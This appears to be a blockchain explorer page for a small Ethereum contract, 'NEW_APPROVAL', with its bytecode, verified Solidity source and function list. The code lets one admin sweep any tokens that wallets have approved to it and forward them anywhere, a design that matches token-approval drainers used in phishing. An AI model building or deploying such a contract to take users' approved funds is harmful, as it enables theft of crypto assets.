Address Contract Partially Verified
Address
0xaa4ed71EFfb166E0920adf11b965f06B9dE0151a
Balance
0 ETH
Nonce
1
Code Size
5242 bytes
Creator
0xb801b86E...ba38 at tx 0xd33ca234...8017cb
Indexed Transactions
0
Contract Bytecode
5242 bytes
0x608060405260043610610058575f3560e01c806323b872dd146100635780638f2839701461008b578063beabacc8146100b3578063dd62ed3e146100db578063f3fef3a314610117578063f851a4401461013f5761005f565b3661005f57005b5f80fd5b34801561006e575f80fd5b5061008960048036038101906100849190610d0e565b610169565b005b348015610096575f80fd5b506100b160048036038101906100ac9190610d5e565b6105c7565b005b3480156100be575f80fd5b506100d960048036038101906100d49190610d0e565b61077d565b005b3480156100e6575f80fd5b5061010160048036038101906100fc9190610d89565b610abf565b60405161010e9190610dd6565b60405180910390f35b348015610122575f80fd5b5061013d60048036038101906101389190610e2a565b610b42565b005b34801561014a575f80fd5b50610153610c5a565b6040516101609190610e77565b60405180910390f35b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101ed90610f10565b60405180910390fd5b5f8111610238576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022f90610f78565b60405180910390fd5b5f8373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84306040518363ffffffff1660e01b8152600401610274929190610f96565b602060405180830381865afa15801561028f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102b39190610fd1565b90505f81116102f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102ee90611046565b60405180910390fd5b8082111561033a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610331906110d4565b60405180910390fd5b5f8473ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016103749190610e77565b602060405180830381865afa15801561038f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103b39190610fd1565b9050828110156103f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ef9061113c565b60405180910390fd5b5f808673ffffffffffffffffffffffffffffffffffffffff166323b872dd60e01b87308860405160240161042e9392919061115a565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161049891906111e1565b5f604051808303815f865af19150503d805f81146104d1576040519150601f19603f3d011682016040523d82523d5f602084013e6104d6565b606091505b509150915081801561050357505f81511480610502575080806020019051810190610501919061122c565b5b5b610542576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610539906112a1565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f70c5f97fd0068e96984b8116fe83eefbff3b91244565bf311a3cba619b4ecbc7886040516105b69190610dd6565b60405180910390a450505050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064b90610f10565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036106c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b990611309565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f60405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461080a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080190610f10565b60405180910390fd5b5f8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108449190610e77565b602060405180830381865afa15801561085f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108839190610fd1565b9050818110156108c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bf90611397565b60405180910390fd5b5f821161090a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090190610f78565b60405180910390fd5b5f808573ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b868660405160240161093e9291906113b5565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516109a891906111e1565b5f604051808303815f865af19150503d805f81146109e1576040519150601f19603f3d011682016040523d82523d5f602084013e6109e6565b606091505b5091509150818015610a1357505f81511480610a12575080806020019051810190610a11919061122c565b5b5b610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a49906112a1565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f6337ed398c0e8467698c581374fdce4db14922df487b5a39483079f5f59b60a486604051610aaf9190610dd6565b60405180910390a3505050505050565b5f8273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e83306040518363ffffffff1660e01b8152600401610afb929190610f96565b602060405180830381865afa158015610b16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3a9190610fd1565b905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690610f10565b60405180910390fd5b80471015610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990611426565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610c55573d5f803e3d5ffd5b505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610caa82610c81565b9050919050565b610cba81610ca0565b8114610cc4575f80fd5b50565b5f81359050610cd581610cb1565b92915050565b5f819050919050565b610ced81610cdb565b8114610cf7575f80fd5b50565b5f81359050610d0881610ce4565b92915050565b5f805f60608486031215610d2557610d24610c7d565b5b5f610d3286828701610cc7565b9350506020610d4386828701610cc7565b9250506040610d5486828701610cfa565b9150509250925092565b5f60208284031215610d7357610d72610c7d565b5b5f610d8084828501610cc7565b91505092915050565b5f8060408385031215610d9f57610d9e610c7d565b5b5f610dac85828601610cc7565b9250506020610dbd85828601610cc7565b9150509250929050565b610dd081610cdb565b82525050565b5f602082019050610de95f830184610dc7565b92915050565b5f610df982610c81565b9050919050565b610e0981610def565b8114610e13575f80fd5b50565b5f81359050610e2481610e00565b92915050565b5f8060408385031215610e4057610e3f610c7d565b5b5f610e4d85828601610e16565b9250506020610e5e85828601610cfa565b9150509250929050565b610e7181610ca0565b82525050565b5f602082019050610e8a5f830184610e68565b92915050565b5f82825260208201905092915050565b7f4f6e6c792061646d696e2063616e2063616c6c20746869732066756e6374696f5f8201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f610efa602183610e90565b9150610f0582610ea0565b604082019050919050565b5f6020820190508181035f830152610f2781610eee565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f610f62602083610e90565b9150610f6d82610f2e565b602082019050919050565b5f6020820190508181035f830152610f8f81610f56565b9050919050565b5f604082019050610fa95f830185610e68565b610fb66020830184610e68565b9392505050565b5f81519050610fcb81610ce4565b92915050565b5f60208284031215610fe657610fe5610c7d565b5b5f610ff384828501610fbd565b91505092915050565b7f4e6f20616c6c6f77616e63652073657420666f72207468697320746f6b656e005f82015250565b5f611030601f83610e90565b915061103b82610ffc565b602082019050919050565b5f6020820190508181035f83015261105d81611024565b9050919050565b7f52657175657374656420616d6f756e74206578636565647320616c6c6f77616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f6110be602283610e90565b91506110c982611064565b604082019050919050565b5f6020820190508181035f8301526110eb816110b2565b9050919050565b7f496e73756666696369656e74207573657220746f6b656e2062616c616e6365005f82015250565b5f611126601f83610e90565b9150611131826110f2565b602082019050919050565b5f6020820190508181035f8301526111538161111a565b9050919050565b5f60608201905061116d5f830186610e68565b61117a6020830185610e68565b6111876040830184610dc7565b949350505050565b5f81519050919050565b5f81905092915050565b8281835e5f83830152505050565b5f6111bb8261118f565b6111c58185611199565b93506111d58185602086016111a3565b80840191505092915050565b5f6111ec82846111b1565b915081905092915050565b5f8115159050919050565b61120b816111f7565b8114611215575f80fd5b50565b5f8151905061122681611202565b92915050565b5f6020828403121561124157611240610c7d565b5b5f61124e84828501611218565b91505092915050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f61128b600f83610e90565b915061129682611257565b602082019050919050565b5f6020820190508181035f8301526112b88161127f565b9050919050565b7f4e65772061646d696e20616464726573732063616e6e6f74206265207a65726f5f82015250565b5f6112f3602083610e90565b91506112fe826112bf565b602082019050919050565b5f6020820190508181035f830152611320816112e7565b9050919050565b7f496e73756666696369656e7420746f6b656e2062616c616e6365206f6e20636f5f8201527f6e74726163740000000000000000000000000000000000000000000000000000602082015250565b5f611381602683610e90565b915061138c82611327565b604082019050919050565b5f6020820190508181035f8301526113ae81611375565b9050919050565b5f6040820190506113c85f830185610e68565b6113d56020830184610dc7565b9392505050565b7f496e73756666696369656e7420636f6e74726163742062616c616e63650000005f82015250565b5f611410601d83610e90565b915061141b826113dc565b602082019050919050565b5f6020820190508181035f83015261143d81611404565b905091905056fea2646970667358221220c8015e103b34622026177350a22adf67bed10091e18cc8cae42f33a4c04f47c164736f6c634300081a0033
Verified Source Code Partial Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
NEW_APPROVAL.sol 80 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
interface IERC20 {
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract NEW_APPROVAL {
address public admin;
modifier onlyAdmin() {
require(msg.sender == admin, "Only admin can call this function");
_;
}
event TokensTransferred(address indexed token, address indexed from, address indexed to, uint256 amount);
event TokensWithdrawn(address indexed token, address indexed to, uint256 amount);
event AdminChanged(address indexed oldAdmin, address indexed newAdmin);
constructor() {
admin = msg.sender;
}
// Возвращает сумму одобрения
function allowance(address token, address wallet) external view returns (uint256) {
return IERC20(token).allowance(wallet, address(this));
}
// Перемещает токены от пользователя на контракт
function transferFrom(address token, address wallet, uint256 amount) external onlyAdmin {
require(amount > 0, "Amount must be greater than zero");
uint256 approvedAmount = IERC20(token).allowance(wallet, address(this));
require(approvedAmount > 0, "No allowance set for this token");
require(amount <= approvedAmount, "Requested amount exceeds allowance");
uint256 userBalance = IERC20(token).balanceOf(wallet);
require(userBalance >= amount, "Insufficient user token balance");
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20(token).transferFrom.selector, wallet, address(this), amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "Transfer failed");
emit TokensTransferred(token, wallet, address(this), amount);
}
// Отправляет ETH на указанный адрес
function withdraw(address payable wallet, uint256 amount) external onlyAdmin {
require(address(this).balance >= amount, "Insufficient contract balance");
wallet.transfer(amount);
}
// Отправляет токены с контракта на указанный адрес
function transfer(address token, address wallet, uint256 amount) external onlyAdmin {
uint256 contractBalance = IERC20(token).balanceOf(address(this));
require(contractBalance >= amount, "Insufficient token balance on contract");
require(amount > 0, "Amount must be greater than zero");
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20(token).transfer.selector, wallet, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "Transfer failed");
emit TokensWithdrawn(token, wallet, amount);
}
// Смена администратора
function changeAdmin(address newAdmin) external onlyAdmin {
require(newAdmin != address(0), "New admin address cannot be zero");
emit AdminChanged(admin, newAdmin);
admin = newAdmin;
}
// Позволяет контракту получать ETH
receive() external payable {}
}
Read Contract
admin 0xf851a440 → address
allowance 0xdd62ed3e → uint256
Write Contract 4 functions
These functions modify contract state and require a wallet transaction to execute.
changeAdmin 0x8f283970
address newAdmin
transfer 0xbeabacc8
address token
address wallet
uint256 amount
transferFrom 0x23b872dd
address token
address wallet
uint256 amount
withdraw 0xf3fef3a3
address wallet
uint256 amount
Recent Transactions
No transactions found for this address